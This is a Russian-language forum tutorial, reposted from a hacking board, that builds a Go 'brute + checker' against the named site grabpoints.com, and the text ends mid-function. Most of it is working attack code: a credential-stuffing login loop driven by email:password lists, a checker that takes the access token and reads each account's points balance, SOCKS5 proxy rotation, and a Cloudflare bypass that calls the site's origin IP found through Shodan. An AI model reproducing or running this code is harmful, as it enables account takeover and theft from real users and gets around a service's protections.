What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Статья ⏩ Изучаем Go на примерах, #2: Brute + Checker (логика работы, обход CloudFlare)

BlameUself

Midle Weight
Депозит
$0
Источник: XSS.is
Автор
BlameUself

Рад снова приветствовать вас в удивительном мире Go. В предыдущей статье мы начали изучение Go на примере парсера + чекера прокси (который, кстати, нам пригодится).
1_Zud-L6m4Dd3Ikf_4vcZcKQ.jpg


Кстати, если вы только начинаете изучать Go в дополнение к тем курсам, которые я рекомендовал в предыдущий раз, я могу также добавить книгу "Head First Go". Особенно если вам нравится этот стиль, её можно читать с минимальными знаниями программирования, и у неё определённо есть свой вайб.
Также я нашёл чудесный русскоязычный канал - https://www.youtube.com/@deferpanic

Сперва следует разобраться, что представляют собой программы Brute&Checker.
Брут – это программа для перебора комбинаций потенциальных учетных данных аккаунтов на определенном сайте. Чекер – это часть, в которой мы проверяем определенную информацию, которую хотим получить с аккаунта. Вот так все просто! Ну что ж, давайте декомпозируем задачу. Условия таковы: есть некий сервис X и есть некие потенциальные данные для входа (допустим, в формате имейл:пароль).
План работ следующий:
  • Научиться входить в аккаунт, обрабатывать сценарий успешного входа и неудачного входа, а также вести логирование этой информации.
  • Получать информацию с аккаунта и выводить в консоль данные об успешном входе и информацию.
  • Добавить возможность работы через прокси.
Изначально я также планировал добавить многопоточность в код, но чем больше я узнавал о рутинах в Go, тем больше понимал, что хочу углубить свои знания и, вероятно, вынести эту тему в отдельную статью с примерами. Несмотря на то, что потоки в Go реализованы проще, чем в других языках программирования, там есть о чем поговорить. Так что сегодня мы рассмотрим устройство брутчекеров, и после прочтения статьи вы в целом сможете реализовать такую программу самостоятельно. Также буду рад обратной связи, критике и т. д.

Для примера мы возьмем сайт - grabpoints.com. Выбор сервиса случаен, однако, судя по описанию, на нем можно получить подарочные карты и некоторые бонусные поинты, выполняя различные задания. Регистрируем аккаунт и начинаем работу.
Для лучшего понимания происходящего, перед началом работы рекомендуется изучить HTTP протокол, например, посмотрев этот прекрасный курс:
(или хотя бы в общих чертах понимать что это такое)
Также желательно понимать, что происходит после ввода адреса в браузер:
Открываем браузер, а также панель разработчика, в которой открываем вкладку Network. Наша задача - поймать запрос на вход, затем мы логинимся на сайт и анализируем трафик. Универсального способа поймать запрос на аутентификацию не существует, но в целом в его названии, скорее всего, будет что-то типа "login", и практически всегда методом запроса будет POST. В данном случае мы видим POST запрос на login по адресу https://api.grabpoints.com/login - то, что нам нужно. Прямо сейчас предлагаю перейти в IDE и выполнить этот запрос с помощью кода на Go.
Untitled (4).png


C-подобный: Скопировать в буфер обмена
Code:
package main

import (
    "bytes"
    "fmt"
    "io"
    "net/http"
)

func main() {
    url := "https://api.grabpoints.com/login"
    payload := []byte(`{
        "userName": "userName@gmail.com",
        "password": "password123"
    }`)

    req, err := http.NewRequest("POST", url, bytes.NewBuffer(payload))
    if err != nil {
        fmt.Println("Error creating request:", err)
        return
    }
    req.Header.Set("Content-Type", "application/vnd-v4.0+json")

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("Response Status:", resp.Status)
    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }
    fmt.Println("Response Body:", string(body))
}
Импортируем необходимые пакеты. bytes используется для манипуляции байтовыми слайсами и буферами, fmt для форматированного вывода на консоль, io для работы с потоками ввода-вывода и net/http для работы с HTTP-запросами. Задаем переменную url. Вернемся к запросу в браузере и посмотрим окно Payload. Пейлод представляет собой данные, которые мы отправляем на сервер. Они передаются в данном случае в виде JSON-объекта. Понять, что мы имеем дело именно с JSON, можно, посмотрев заголовок Content-Type в окне Headers на вкладке Request Headers, но и в целом его достаточно легко узнать. Копируем данные с запроса и инициализируем переменную payload, которая представляет собой срез байт. Она содержит JSON-подобную строку, которая должна быть корректным JSON-ом! Помещаем туда передаваемые данные. Создается новый HTTP-запрос с помощью функции http.NewRequest(). Указываем тип запроса (если забыли, можно посмотреть в дев-панели), ссылку, а также тело запроса, которое содержит данные для входа. Устанавливается заголовок "Content-Type" (Headers вкладка Request Headers). Первый аргумент ("Content-Type") - это имя заголовка, а второй аргумент ("application/vnd-v4.0+json") - это значение заголовка. Создается клиент HTTP с помощью http.Client{}. Выполняется запрос к серверу с помощью метода client.Do(req). Полученный ответ и возможные ошибки сохраняются в переменных resp и err. После завершения запроса тело ответа закрывается с помощью defer resp.Body.Close(). Выводим статус с помощью resp.Status, считываем тело и преобразуем его в строку с помощью io.ReadAll(resp.Body), также выводим в консоль. Проверяем код и получаем замечательный статус 403 Forbidden, вовсе не то, что мы хотели.
Untitled (5).png


Решением может стать добавление большего количества заголовков к нашему запросу:
C-подобный: Скопировать в буфер обмена
Code:
package main

import (
    "bytes"
    "fmt"
    "io"
    "net/http"
)

func main() {
    url := "https://api.grabpoints.com/login"
    payload := []byte(`{
        "userName": "userName@gmail.com",
        "password": "password123"
    }`)

    req, err := http.NewRequest("POST", url, bytes.NewBuffer(payload))
    if err != nil {
        fmt.Println("Error creating request:", err)
        return
    }
    req.Header.Set("Content-Type", "application/vnd-v4.0+json")
    req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
    req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
    req.Header.Set("Accept-Language", "en-US,en;q=0.9")
    req.Header.Set("Origin", "https://grabpoints.com/")
    req.Header.Set("Referer", "https://grabpoints.com/")


    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("Response Status:", resp.Status)
    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }
    fmt.Println("Response Body:", string(body))
}
В первую очередь добавляю User-Agent - заголовок который используется для передачи информации о программном обеспечении (браузере, операционной системе и т. д.), которое инициирует запрос.
Для начала вы можете взять его с браузера, в будущем будет здорово рандомизировать этот параметр. Также добавляю Accept-Encoding (вероятно, дело было в нем), Accept-Language, Origin и Referer.
Если по какой-то причине запрос не отрабатывает, добавьте все заголовки, которые видите в браузере. Запускаю и вижу заветный статус 200 OK:
Untitled (6).png



Далее нам нужно определить параметры валидации успешных и неуспешных аутентификаций. Вернемся в браузер и сделаем запрос с невалидными данными:
Untitled (7).png


Untitled (8).png


По сути, нам нужно найти отличие между этими двумя сценариями, и я замечаю сразу несколько. Мы можем осуществить проверку по статус-коду: 200 OK для валидных результатов, 401 Unauthorized для невалидных, и сразу же заметить 403 для невалидных прокси на будущее. Более того, такая проверка даст нам прирост в скорости, но ее минус будет в не самой высокой надежности, поскольку мы не знаем всех сценариев, при которых получаем эти статус-коды, хотя это был бы допустимый вариант. Кстати говоря, статус-коды на самом деле не надежный источник истины, в том смысле, что их отдает разработчик, и на успешную аутентификацию можно вернуть, скажем, код 444, и пусть так мало кто сделает, это технически не будет ошибкой. Второй вариант - проверка по телу ответа. Это может занять немного больше времени, но это более предсказуемый вариант. Внимательно изучив ответ успешной аутентификации, пришел к выводу, что валидация по строке "authorities" - хороший вариант. Пока думал, заметил, что строка "credentialsNonExpired" : true говорит о том, что с вероятностью 99.9% сайт использует Java Spring MVC (очень необычное поле в целом, и в каких сценариях на этом ресурсе оно может быть false представить довольно сложно). Для невалидного аккаунта все просто - "bad credentials", это весь ответ, который мы получаем в таком случае. Возвращаемся к IDE.
C-подобный: Скопировать в буфер обмена
Code:
package main

import (
    "bytes"
    "fmt"
    "io"
    "net/http"
    "strings"
)

func main() {
    url := "https://api.grabpoints.com/login"
   
    userName := "userName@gmail.com"
    password := "password123"

    payload := []byte(fmt.Sprintf(`{
        "userName": "%s",
        "password": "%s"
    }`, userName, password))

    req, err := http.NewRequest("POST", url, bytes.NewBuffer(payload))
    if err != nil {
        fmt.Println("Error creating request:", err)
        return
    }
    req.Header.Set("Content-Type", "application/vnd-v4.0+json")
    req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
    req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
    req.Header.Set("Accept-Language", "en-US,en;q=0.9")
    req.Header.Set("Origin", "https://grabpoints.com/")
    req.Header.Set("Referer", "https://grabpoints.com/")

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("Response Status:", resp.Status)
    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }
    fmt.Println("Response Body:", string(body))

    if strings.Contains(string(body), "authorities") {
        fmt.Printf("%s:%s - success\n", userName, password)
    }

    if strings.Contains(string(body), "bad credentials") {
        fmt.Printf("%s:%s - fail\n", userName, password)
    }
}
Подключаем пакет strings для работы с текстовыми строками. Выносим значения userName и password в переменные, используем fmt.Sprintf для форматирования. strings.Contains(string(body), "authorities") проверяет, содержится ли подстрока "authorities" в переменной body, если это так, выводим сообщение "success" с указанием имени пользователя и пароля, которые были использованы для аутентификации. Аналогично, конструкция strings.Contains(string(body), "bad credentials") проверяет, содержится ли подстрока "bad credentials" в теле ответа и выводит сообщение "fail” в случае true.

Нашей следующей задачей будет написание чекера, а именно получение информации о количестве поинтов на аккаунте. Возвращаемся к запросам. После успешной аутентификации отправляется запрос на https://api.grabpoints.com/api/customer. Мы изучаем его и находим в ответе информацию о количестве поинтов, то что нужно. Только сперва замечаем в заголовках запроса новый параметр - X-Gp-Access-Token. И действительно, подобные запросы не могут быть доступны любому желающему, необходимо предоставлять токен. Но где же нам его взять? Он уже есть у нас. Во время успешной аутентификации мы получаем, в том числе, accessToken. Это то, что нам нужно. Итак, для написания чекера нам нужно извлечь токен из тела ответа после аутентификации, сохранить его, передать его заголовком в запросе к https://api.grabpoints.com/api/customer. Затем обработать ответ и получить нужную информацию. Полетели в VS Code.
C-подобный: Скопировать в буфер обмена
Code:
if strings.Contains(string(body), "authorities") {
        fmt.Printf("%s:%s - success\n", userName, password)
        re := regexp.MustCompile(`"accessToken" : "([^"]+)"`)
        matches := re.FindStringSubmatch(string(body))
        if len(matches) >= 2 {
            accessToken := matches[1]
            fmt.Println("Access Token:", accessToken)
            urlPoints := "https://api.grabpoints.com/api/customer"
            req, err := http.NewRequest("GET", urlPoints, nil)
            if err != nil {
                fmt.Println("Error creating request:", err)
                return
            }

            req.Header.Set("Content-Type", "application/vnd-v4.0+json")
            req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
            req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
            req.Header.Set("Accept-Language", "en-US,en;q=0.9")
            req.Header.Set("Origin", "https://grabpoints.com/")
            req.Header.Set("Referer", "https://grabpoints.com/")
            req.Header.Set("X-Gp-Access-Token", accessToken)

            client := &http.Client{}
            resp, err := client.Do(req)
            if err != nil {
                fmt.Println("Error sending request:", err)
                return
            }
            defer resp.Body.Close()

            fmt.Println("Response Status:", resp.Status)
            body, err := io.ReadAll(resp.Body)
            if err != nil {
                fmt.Println("Error reading response:", err)
                return
            }
            fmt.Println("Response Body:", string(body))
            if strings.Contains(string(body), "points") {
                re := regexp.MustCompile(`"points":\s*(\d+)`)
                match := re.FindStringSubmatch(string(body))
                if len(match) >= 2 {
                    points := match[1]
                    fmt.Println("Points:", points)
                }
            }
        } else {
            fmt.Println("Access Token not found in response")
        }
    }
Давайте напишем запрос в рамках проверки if strings.Contains(string(body), "authorities"). Во-первых, мы добавляем пакет regexp для работы с регулярными выражениями. Именно так мы будем получать информацию из тела ответа. re := regexp.MustCompile("accessToken" : "([^"]+)") Мы создаем новое регулярное выражение. Сам токен находится в кавычках, а ([^"]+) означает один или более символов, которые не являются двойными кавычками. matches := re.FindStringSubmatch(string(body)) - этот код ищет все подстроки в body, которые соответствуют шаблону регулярного выражения re. Далее мы проверяем, было ли получено регулярное выражение: if len(matches) >= 2 { ... } (если мы не нашли совпадений, то len(matches) будет равен 1). Получаем токен из первого запроса: accessToken := matches[1] Затем делаем точно такой же запрос на второй эндпоинт, добавляя заголовок X-Gp-Access-Token с полученным токеном. После получения ответа на второй запрос выводим статус ответа и тело ответа. Затем проверяем, содержит ли тело ответа строку "points" с помощью strings.Contains(). Если да, ищем количество поинтов с помощью регулярного выражения и выводим его. Регулярное выражение содержит :\\s*, что соответствует двоеточию, за которым может следовать любое количество пробельных символов, \\d+ - это шаблон, который соответствует одной или более цифрам, а (\\d+) - это группа, которая захватывает сопоставленные цифры. Отлично, чекер готов!

Далее предлагаю научить наше приложение обращаться через прокси. Для этого возьмем программу из прошлой статьи про прокси-парсер и найдем прокси. Кстати, мы можем проверить прокси прямо на ресурсе, на который пишем брутчекер, но делать этого я не рекомендую - это будет достаточно шумно. Впрочем, вы точно сможете определить валидные прокси для ресурса. Я буду использовать google.com для проверки.
Но как вообще отладить код, если сайт https://api.grabpoints.com не возвращает нам IP, с которого был запрос? Давайте попробуем написать код для этого для сайта https://httpbin.org/ip.
C: Скопировать в буфер обмена
Code:
package main

import (
    "crypto/tls"
    "fmt"
    "io"
    "net/http"
    "time"

    "golang.org/x/net/proxy"
)

const (
    ip   = "11.115.11.1"
    port = "27391"
)


func main() {
    dialer, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%s", ip, port), nil, proxy.Direct)
    if err != nil {
        fmt.Println("Error while creating SOCKS5 proxy:", err)
        return
    }
   
    httpTransport := &http.Transport{
        Dial: dialer.Dial,
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }

    client := &http.Client{
        Transport: httpTransport,
        Timeout:   5 * time.Second,
    }


    req, err := http.NewRequest("GET", "https://httpbin.org/ip", nil)
    if err != nil {
        fmt.Println("Error while creating a request:", err)
        return
    }
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error while making request:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("Response Status:", resp.Status)
    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }
    fmt.Println("Response Body:", string(body))
}
Я решил начать с работы через SOCKS5. Это, по сути, код из статьи про прокси. Делаем запрос к ресурсу и видим наш IP в ответе, понимаем, что этот код работает. Переходим к основному проекту, внедряя изменения.
C-подобный: Скопировать в буфер обмена
Code:
package main

import (
    "bytes"
    "crypto/tls"
    "fmt"
    "io"
    "net/http"
    "strings"
    "time"

    "golang.org/x/net/proxy"
)

const (
    ip   = "11.115.11.1"
    port = "27391"
)
func main() {
    url := "https://api.grabpoints.com/login"
 
    userName := "userName@gmail.com"
    password := "password123"

    dialer, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%s", ip, port), nil, proxy.Direct)
    if err != nil {
        fmt.Println("Error while creating SOCKS5 proxy:", err)
        return
    }
   
    payload := []byte(fmt.Sprintf(`{
        "userName": "%s",
        "password": "%s"
    }`, userName, password))

    httpTransport := &http.Transport{
        Dial: dialer.Dial,
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},

    }
    client := &http.Client{Transport: httpTransport,     Timeout:   5 * time.Second,}

    req, err := http.NewRequest("POST", url, bytes.NewBuffer(payload))
    if err != nil {
        fmt.Println("Error creating request:", err)
        return
    }
    req.Header.Set("Content-Type", "application/vnd-v4.0+json")
    req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
    req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
    req.Header.Set("Accept-Language", "en-US,en;q=0.9")
    req.Header.Set("Origin", "https://grabpoints.com/")
    req.Header.Set("Referer", "https://grabpoints.com/")

   
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("Response Status:", resp.Status)
    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }
    fmt.Println("Response Body:", string(body))

    if strings.Contains(string(body), "authorities") {
        fmt.Printf("%s:%s - success\n", userName, password)
    }

    if strings.Contains(string(body), "bad credentials") {
        fmt.Printf("%s:%s - fail\n", userName, password)
    }
}
Проверять будем на первом запросе аутентификации. Подключаем пакет golang.org/x/net/proxy для работы с прокси, и crypto/tls - для работы с TLS. Выносим порт и прокси в переменные. Создаётся прокси-клиент через вызов proxy.SOCKS5(). Создаем новый объект http.Transport, который позволяет настраивать параметры транспорта для HTTP запросов. Dial: dialer.Dial: Здесь устанавливается функция Dial, которая определяет, как будет установлено соединение с сервером. В данном случае мы задаем прокси-клиент. TLSClientConfig: &tls.Config{InsecureSkipVerify: true}: Это опция конфигурации TLS, которая позволяет игнорировать проверку сертификата сервера при установлении защищённого соединения. InsecureSkipVerify: true означает, что клиент не будет проверять действительность сертификата сервера. Эта опция была добавлена мной из-за ошибки "X.509 Certificate Signed by Unknown Authority". Я предполагаю, что сама прокся является ханиподом и выполняет MITM (Man-in-the-Middle) атаку, подменяя сертификат сервера на свой. Это в целом не совсем нормально, но для примера допустимо. Далее создаем новый HTTP клиент с настроенным транспортом. Добавляем также Timeout: 5 * time.Second. Если сервер не ответит в течение указанного времени, запрос будет прерван, и будет возвращена ошибка. Остальное без изменений.

Отлично, по сути, все готово. Давайте займёмся рефакторингом и разобьём код на функции.
C-подобный: Скопировать в буфер обмена
Code:
package main

import (
    "bufio"
    "fmt"
    "log"
    "os"
    "strings"
)

const (
    proxyFile = "proxy.txt"
)

func main() {
    proxy, port, err := getProxy()
    if err != nil {
        log.Fatalf("Failed to get proxy: %v", err)
    }

    fmt.Printf("Proxy: %s\nPort: %s\n", proxy, port)

    err = returnProxy(proxy, port)
    if err != nil {
        log.Fatalf("Failed to return proxy: %v", err)
    }
}

func getProxy() (string, string, error) {
    file, err := os.Open(proxyFile)
    if err != nil {
        return "", "", fmt.Errorf("Failed to open proxy file: %v", err)
    }
    defer file.Close()

    var proxyInfo string
    scanner := bufio.NewScanner(file)
    if scanner.Scan() {
        proxyInfo = scanner.Text()
    } else {
        return "", "", fmt.Errorf("Proxy file is empty")
    }

    parts := strings.Split(proxyInfo, ":")
    if len(parts) != 2 {
        return "", "", fmt.Errorf("Invalid proxy format: %s", proxyInfo)
    }

    var remainingLines []string
    for scanner.Scan() {
        remainingLines = append(remainingLines, scanner.Text())
    }

    file.Close()

    file, err = os.Create(proxyFile)
    if err != nil {
        return "", "", fmt.Errorf("Failed to open proxy file for writing: %v", err)
    }
    defer file.Close()

    for _, line := range remainingLines {
        _, err := fmt.Fprintln(file, line)
        if err != nil {
            return "", "", fmt.Errorf("Failed to write remaining lines to proxy file: %v", err)
        }
    }

    return parts[0], parts[1], nil
}

func returnProxy(proxy, port string) error {
    file, err := os.OpenFile(proxyFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
    if err != nil {
        return fmt.Errorf("Failed to open proxy file: %v", err)
    }
    defer file.Close()

    _, err = fmt.Fprintf(file, "%s:%s\n", proxy, port)
    if err != nil {
        return fmt.Errorf("Failed to write proxy to file: %v", err)
    }

    return nil
}
Давайте подумаем, как мы можем работать с множеством прокси. Мы должны учитывать, что нам нужно использовать разные прокси, также мы должны удалять те, на которых произошла ошибка, и мы не можем использовать несколько запросов по одной прокси одновременно. Хочу сказать, что вероятно это не самое оптимальное решение с точки зрения оптимизации, и я еще подумаю над тем, как его улучшить. Добавив две функции - getProxy и returnProxy, и проверим их работу в рамках функции main. Добавим несколько новых пакетов - bufio для буферизованного ввода-вывода данных, он нужен нам для построчного чтения файла с помощью типа Scanner, пакет log для более грамотной обработки ошибок (главное различие между log.Fatalf и fmt.Errorf в том, что первая завершает выполнение программы, а вторая нет). Я создал файл proxy.txt, в нем добавлены прокси в формате - ip:port, определим константу proxyFile с именем файла. Мы должны взять первую строку файла, получить прокси и сохранить остаток. file, err := os.Open(proxyFile): Открывается файл proxy.txt для чтения. scanner := bufio.NewScanner(file): Создается новый сканер Scanner. Проверяется, удалось ли прочитать хотя бы одну строку из файла. Если файл пустой, возвращается ошибка. Прочитанная строка сохраняется в переменной proxyInfo. Строка proxyInfo разделяется на части по двоеточию, чтобы получить адрес прокси и порт. Далее проверяем, содержит ли строка две части. Остальные строки файла сканируются и добавляются в слайс remainingLines. Закрываем файл, чтобы его можно было перезаписать. file, err = os.Create(proxyFile): Файл proxy.txt открывается для записи. Все оставшиеся строки файла записываются обратно. return parts[0], parts[1], nil: Возвращаются адрес прокси, порт и nil, чтобы показать успешное выполнение функции. Если что-то пошло не так на любом этапе, будет возвращена ошибка с соответствующим сообщением.
После того, как мы взяли прокси и успешно сделали запрос, мы хотим вернуть ее назад в файл в самый конец, этим занимается функция returnProxy(). Открываем файл proxy.txt для записи. Флаги os.O_APPEND и os.O_CREATE гарантируют, что новая информация будет добавлена в конец файла, а не перезапишет его. Флаг os.O_WRONLY указывает на то, что файл будет открыт только для записи. Аргумент 0644 определяет права доступа к файлу. Используя функцию Fprintf, записываем информацию. Если запись прошла успешно, функция возвращает nil, что означает отсутствие ошибки. Проверяем функции в main() и понимаем, что все работает.
C-подобный: Скопировать в буфер обмена
Code:
package main

import (
    "bufio"
    "fmt"
    "log"
    "os"
    "strings"
)

const (
    proxyFile = "proxy.txt"
    accountFile = "forCheck.txt"

)

func main() {

    email, password, err := getAccount()
    if err != nil {
        log.Fatalf("Failed to get account: %v", err)
    }

    fmt.Printf("Email: %s\nPassword: %s\n", email, password)

}

func getAccount() (string, string, error) {
    file, err := os.Open(accountFile)
    if err != nil {
        return "", "", fmt.Errorf("Failed to open account file: %v", err)
    }
    defer file.Close()

   
    var accountInfo string
    scanner := bufio.NewScanner(file)
    if scanner.Scan() {
        accountInfo = scanner.Text()
    } else {
        return "", "", fmt.Errorf("Account file is empty")
    }

    parts := strings.Split(accountInfo, ":")
    if len(parts) != 2 {
        return "", "", fmt.Errorf("Invalid account format: %s", accountInfo)
    }

    var remainingLines []string
    for scanner.Scan() {
        remainingLines = append(remainingLines, scanner.Text())
    }

    file.Close()

    file, err = os.Create(accountFile)
    if err != nil {
        return "", "", fmt.Errorf("Failed to open account file for writing: %v", err)
    }
    defer file.Close()

    for _, line := range remainingLines {
        _, err := fmt.Fprintln(file, line)
        if err != nil {
            return "", "", fmt.Errorf("Failed to write remaining lines to account file: %v", err)
        }
    }

    return parts[0], parts[1], nil
}
Нам также необходимо реализовать функцию для получения аккаунтов. Формат аккаунтов будет точно таким же, как у прокси, за исключением того, что двоеточие будет использовано для разделения параметров email и password. Мы добавляем новую константу accountFile со значением "forCheck.txt". Предварительно создаем файл с таким названием и помещаем туда аккаунты для проверки. Логика функции getAccount() полностью повторяет логику функции getProxy(), за исключением того, что она работает с другим файлом.

Моя идея реализации заключается в следующем: в функции main мы получаем аккаунт и передаем его в функцию checkAuth, которая возвращает коды статуса, по которым мы позже сможем обрабатывать результат. Дело в том, что на один аккаунт мы можем использовать несколько прокси, поэтому прокси мы будем получать уже в функции проверки аутентификации, а сама проверка будет происходить в цикле, где количество итераций будет ограничено переменной i. Если один аккаунт забрал, скажем, больше чем 50 прокси, то тут явно что-то не так. Возвращаемся к коду:
C-подобный: Скопировать в буфер обмена
Code:
func main() {
    userName, password, err := getAccount()
    if err != nil {
        log.Fatalf("Failed to get account: %v", err)
    }

    fmt.Printf("Email: %s\nPassword: %s\n", userName, password)

    statusCode, err := checkAuth(userName, password)
    if err != nil {
        log.Fatalf("Failed to check account: %v", err)
    }
    log.Printf("Status code: %d", statusCode)

}

func checkAuth(userName, password string) (int, error) {
    for i := 0; i < 5; i++ {

        ip, port, err := getProxy()
        if err != nil {
            return 0, fmt.Errorf("failed to get proxy: %v", err)
        }

        fmt.Printf("Proxy: %s\nPort: %s\n", ip, port)

        dialer, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%s", ip, port), nil, proxy.Direct)
        if err != nil {
            fmt.Printf("Error while creating SOCKS5 proxy: %v\n", err)
            continue
        }
        fmt.Printf("Email: %s\nPassword: %s\n", userName, password)
        payload := []byte(fmt.Sprintf(`{
            "userName": "%s",
            "password": "%s"
        }`, userName, password))

        httpTransport := &http.Transport{
            Dial:            dialer.Dial,
            TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        }
        client := &http.Client{Transport: httpTransport, Timeout: requestTimeout}

        req, err := http.NewRequest("POST", urlAuth, bytes.NewBuffer(payload))
        if err != nil {
            fmt.Printf("Error creating request: %v\n", err)
            continue
        }
        req.Header.Set("Content-Type", "application/vnd-v4.0+json")
        req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
        req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
        req.Header.Set("Accept-Language", "en-US,en;q=0.9")
        req.Header.Set("Origin", "https://grabpoints.com/")
        req.Header.Set("Referer", "https://grabpoints.com/")

        resp, err := client.Do(req)
        if err != nil {
            fmt.Printf("Error sending request: %v\n", err)
            continue
        }
        defer resp.Body.Close()

        fmt.Println("Response Status:", resp.Status)
        body, err := io.ReadAll(resp.Body)
        if err != nil {
            fmt.Printf("Error reading response: %v\n", err)
            continue
        }
        fmt.Println("Response Body:", string(body))
        if strings.Contains(string(body), "bad credentials") {
            err = returnProxy(ip, port)
            if err != nil {
                fmt.Printf("Failed to return proxy: %v", err)
            }
            fmt.Printf("%s:%s - fail\n", userName, password)
            return 1, nil
        }
    }

    fmt.Println("The maximum number of attempts has been reached.")
    return 10, nil
}
В самой функции main мы передаем checkAuth полученные userName (во время рефакторинга я изменил этот параметр, в примерах выше он был email) и password из getAccount(). Давайте напишем черновой вариант getAccount(). Реализуем цикл. Внутри цикла вызываем функцию getProxy(). Далее код повторяет раннюю реализацию. Ошибки, за исключением невозможности получить прокси, мы обрабатываем оператором continue, который продолжает выполнение цикла, переходя к следующей итерации. 0 - статус для ошибок, 1 - успешно, 10, если мы превысили лимит прокси на один аккаунт. На данный момент я тестирую на невалидных данных и мы должны попадать в блок if strings.Contains(string(body), "bad credentials"), в котором мы выводим данные о плохом аккаунте, возвращаем валидный прокси назад в файл и возвращаем 1, выходя из функции. Мы проверяем и понимаем, что сайт использует Cloudflare. Если честно, я изначально не понял этого, и почему-то был уверен, что на сайте нет Cloudflare, а планировал рассмотреть его в третьей/четвертой части статьи. Но он все же здесь.
Untitled (9).png


Cloudflare - это защита, которая помимо всего прочего может стать преградой для написания брутчекера, поскольку для него наша активность выглядит подозрительной, и он не дает доступа. По сути, он выступает прокладкой между ресурсом и нами, и просто убивает запросы, не давая достучаться к сайту. Что же делать? Искать обход. Важно понимать, что когда мы обращаемся по домену, мы попадаем не к IP-адресу сайта, а к IP-адресу Cloudflare, который скрывает основной IP. Если вы почитаете форум, узнаете много возможных вариантов обхода. Существуют сервисы подобные Shodan, которые могут помочь нам. Я писал об одном из таких в обзоре - Fofa, но если вы хотите узнать больше о самом Shodan, ищите на форуме “Расширенное руководство по использованию Shodan” или пройдите комнату на TryHackMe - Shodan room.
Переходим на Shodan и вводим домен в поисковую строку.
Untitled (10).png


Опа, па, видим реальный IP-адрес ресурса. На 8085 находится сам GrabPoints, но при попытке обратиться к http://208.99.80.238:8085/login ничего путного не получится. Дело в том, что API находится на другом порте. Давайте переберем все порты, которые видим в Shodan. Предварительно обратимся к https://api.grabpoints.com/login, чтобы понять, какой результат мы хотим получить. Пока ищем API, находим https://freecryptorewards.com/ на порте 8500. Перебираем несколько опа-па http://208.99.80.238:8081/login - то, что нужно. Задаем значение найденного адреса переменной urlAuth и успешно обходим Cloudflare! Ура!

В целом финальная версия брута будет выглядит вот так:
C-подобный: Скопировать в буфер обмена
Code:
package main

import (
    "bufio"
    "bytes"
    "crypto/tls"
    "fmt"
    "io"
    "log"
    "net/http"
    "os"
    "strings"
    "time"

    "golang.org/x/net/proxy"
)

const (
    proxyFile      = "proxy.txt"
    accountFile    = "forCheck.txt"
    urlAuth        = "http://208.99.80.238:8081/login"
    requestTimeout = 5 * time.Second
)

func main() {
    userName, password, err := getAccount()
    if err != nil {
        log.Fatalf("Failed to get account: %v", err)
    }

    fmt.Printf("Email: %s\nPassword: %s\n", userName, password)

    statusCode, err := checkAuth(userName, password)
    if err != nil {
        log.Fatalf("Failed to check account: %v", err)
    }
    log.Printf("Status code: %d", statusCode)

}

func getProxy() (string, string, error) {
    file, err := os.Open(proxyFile)
    if err != nil {
        return "", "", fmt.Errorf("failed to open proxy file: %v", err)
    }
    defer file.Close()

    var proxyInfo string
    scanner := bufio.NewScanner(file)
    if scanner.Scan() {
        proxyInfo = scanner.Text()
    } else {
        return "", "", fmt.Errorf("proxy file is empty")
    }

    parts := strings.Split(proxyInfo, ":")
    if len(parts) != 2 {
        return "", "", fmt.Errorf("invalid proxy format: %s", proxyInfo)
    }

    var remainingLines []string
    for scanner.Scan() {
        remainingLines = append(remainingLines, scanner.Text())
    }

    file.Close()

    file, err = os.Create(proxyFile)
    if err != nil {
        return "", "", fmt.Errorf("failed to open proxy file for writing: %v", err)
    }
    defer file.Close()

    for _, line := range remainingLines {
        _, err := fmt.Fprintln(file, line)
        if err != nil {
            return "", "", fmt.Errorf("failed to write remaining lines to proxy file: %v", err)
        }
    }

    return parts[0], parts[1], nil
}

func returnProxy(proxy, port string) error {
